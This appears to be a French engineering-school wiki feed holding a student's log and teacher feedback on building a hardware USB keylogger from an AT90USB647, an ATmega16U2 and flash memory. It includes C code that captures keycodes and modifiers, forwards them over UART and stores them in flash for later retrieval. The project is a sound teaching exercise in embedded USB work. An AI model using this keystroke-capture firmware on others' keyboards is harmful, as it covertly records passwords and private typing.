Concernant la fonction de gestion de la flash du côté de l'ATMEGA :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On lit quel bouton est appuyé et on le compare pour ensuite envoyé une commande via la liaison série. On peut observer un délai juste avant l'envoie de la commande qui est nécessaire pour être sur de l'envoyer qu'une seule fois. Sans ce délai, les commandes se serait envoyés plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecute rapidement et le temps entre l'appui du bouton et son relâchement, il y'a bien quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appuie et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction Flash_Task d'être executée quelques fois de trop.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier ont un peu changé pour inclure le code du modifieur. Pour l'ATMEGA, on peut observer l'ajout d'une boucle qui attend que l'on lit sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoie d'octet :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. Je me suis donc mis à comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essaie de code, j'ai observé qu'à chaque envoie d'octet via la liaison série et de la fonction '''''Serial_SendByte''''', on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentée, mais parmis elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]].&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'ancien programme se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|lien]]&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keylogger_demo_video.mp4&amp;diff=766</id>
		<title>Fichier:Keylogger demo video.mp4</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keylogger_demo_video.mp4&amp;diff=766"/>
		<updated>2023-08-10T07:47:21Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Vidéo démonstration du Keylogger&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=765</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=765"/>
		<updated>2023-08-09T18:53:35Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Keylogger explications fonctions crées et fonctionnement&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je développe la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]].&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, seulement que les LEDS ont été soudés à l'envers. &lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un de mes arduino qui n'est plus fonctionnel.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écris dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]].&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrive pas encore à récupérer les touches tapés via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, et ai filmé une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]].&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'Atmega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai modifiés légèrement pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoie de caractère où j'envoie directement le code HID obtenue via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'Atmega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
